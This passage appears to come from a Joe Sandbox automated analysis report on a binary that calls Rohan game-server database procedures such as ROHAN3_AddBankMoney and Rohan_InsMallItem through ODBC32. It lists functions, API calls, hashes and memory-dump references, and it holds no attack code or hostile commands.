                                                                                                                            • Instruction ID: 991f7a000d2d76ecf16bcfd66a3f9681b540b452565f9d8c0251188d34e07fed
                                                                                                                            • Opcode Fuzzy Hash: cf663b2ddc4f0da2b9c37b5393b21b23c0911b5c8825638828ddceb60b0ea82f
                                                                                                                            • Instruction Fuzzy Hash: 6E41F1B4680214BBEBA49F54CC52F9973B4FB44B18F20C289F7946E2C5DDB169C48B98
                                                                                                                            Function 0042B3EA Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 105COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN3_AddBankMoney](?,?,?,?) } ,000000FD), ref: 0042B413
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042B452
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042B48A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042B4BF
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042B4F7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 0042B52F
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN3_AddBankMoney](?,?,?,?) } , xrefs: 0042B40A
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN3_AddBankMoney](?,?,?,?) }
                                                                                                                            • API String ID: 0-1433483923
                                                                                                                            • Opcode ID: bc3d52e108a60903ce334e295a9a5b4d29d74cf5e9f626f5c8626edbbfc252e7
                                                                                                                            • Instruction ID: b8ee2cdfb6487f0b3f6f6296ca47bc4343761459232cbfd6b552c5bfcf8444de
                                                                                                                            • Opcode Fuzzy Hash: bc3d52e108a60903ce334e295a9a5b4d29d74cf5e9f626f5c8626edbbfc252e7
                                                                                                                            • Instruction Fuzzy Hash: 6841D2B16443147BEB258B54CD52FAA7379EB84B1CF10828DF7146E2C9D7B16E808B5C
                                                                                                                            Function 004353FE Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 105COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_SetGameHelper] (?,?,?,?)},000000FD), ref: 00435420
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00435469
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043549E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004354D6
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0043550E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FE,000000FE,000000C8,00000000,?,00000000,000000C8,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043554E
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_SetGameHelper] (?,?,?,?)}, xrefs: 00435417
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_SetGameHelper] (?,?,?,?)}
                                                                                                                            • API String ID: 0-1531428334
                                                                                                                            • Opcode ID: d9f0fab895ea3533f98960c0af6fcb75505065ae118c26c17dca757aa69dc917
                                                                                                                            • Instruction ID: 33c577b4b75450c77959500be70ed3d8fe306d0015e3d378b6c7bd82b59d5bd3
                                                                                                                            • Opcode Fuzzy Hash: d9f0fab895ea3533f98960c0af6fcb75505065ae118c26c17dca757aa69dc917
                                                                                                                            • Instruction Fuzzy Hash: 41413FB1644618BBEB208B44CC52FAA7335EB84B1DF2082C8F6187F2C4D7B56D848F58
                                                                                                                            Function 0044156F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 105COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetConquerorLevel2] (?,?,?,?)},000000FD), ref: 0044158F
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004415DB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00441610
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00441648
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00441680
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004416B8
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetConquerorLevel2] (?,?,?,?)}, xrefs: 00441586
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetConquerorLevel2] (?,?,?,?)}
                                                                                                                            • API String ID: 0-3497704865
                                                                                                                            • Opcode ID: b609dae2255344a083a38401675f968b9e00be5f80cfd2053dfa53ae24669156
                                                                                                                            • Instruction ID: e7af38b69fe6f5dd6c26da01527ca1f00000ed34fecf5ae7a0dda3f041e4f1b5
                                                                                                                            • Opcode Fuzzy Hash: b609dae2255344a083a38401675f968b9e00be5f80cfd2053dfa53ae24669156
                                                                                                                            • Instruction Fuzzy Hash: 0D4103B5681214BBEB24CB54CC52FEA7375EB44B18F108288F7147E6C5D6B57E408F58
                                                                                                                            Function 00441197 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [Rohan_InsMallItem] (?,?,?,?)},000000FD), ref: 004411B7
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004411F6
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0044122E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00441266
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0044129E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000014,00000000,?,00000015,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004412D6
                                                                                                                            Strings
                                                                                                                            • {? = CALL [Rohan_InsMallItem] (?,?,?,?)}, xrefs: 004411AE
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [Rohan_InsMallItem] (?,?,?,?)}
                                                                                                                            • API String ID: 0-672221449
                                                                                                                            • Opcode ID: 72c90a9feb87e97f5db579e02f16866cca2c8b2aa528d4f6d1616956b8d1afc7
                                                                                                                            • Instruction ID: 862dd99a18b3d631e6a86a14ad3970826a23a6b9776f4f40b1262fc1daa274db
                                                                                                                            • Opcode Fuzzy Hash: 72c90a9feb87e97f5db579e02f16866cca2c8b2aa528d4f6d1616956b8d1afc7
                                                                                                                            • Instruction Fuzzy Hash: 9E41E2B1680314BBEB249B54CC52FD973B4EB88F28F6081C9F7146E6C5D5B5AB808B5C
                                                                                                                            Function 004412E0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetTuserLastAttnd] (?, ?, ?, ?)},000000FD), ref: 00441300
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0044133F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00441377
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004413AF
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004413E7
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0044141F
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetTuserLastAttnd] (?, ?, ?, ?)}, xrefs: 004412F7
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetTuserLastAttnd] (?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-1032348027
                                                                                                                            • Opcode ID: 00fc3a961af78e9a0b36fe30a767fa561d1308af4e13936c9d8c5f8bbd164bca
                                                                                                                            • Instruction ID: be2900a5efc884e11fb334ef89d30cd794566cadc6fc2e691cb9354ec85f2f64
                                                                                                                            • Opcode Fuzzy Hash: 00fc3a961af78e9a0b36fe30a767fa561d1308af4e13936c9d8c5f8bbd164bca
                                                                                                                            • Instruction Fuzzy Hash: 67410EB0645214BBEB249B44CC52FEA7334EB84B18F2082C9F7287E6C5C5B16F408B5C
                                                                                                                            Function 0042C80F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_SaveItem](?, ?, ?, ?)},000000FD), ref: 0042C82F
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042C86E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042C8A6
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042C8DE
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0042C916
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0042C94E
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_SaveItem](?, ?, ?, ?)}, xrefs: 0042C826
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
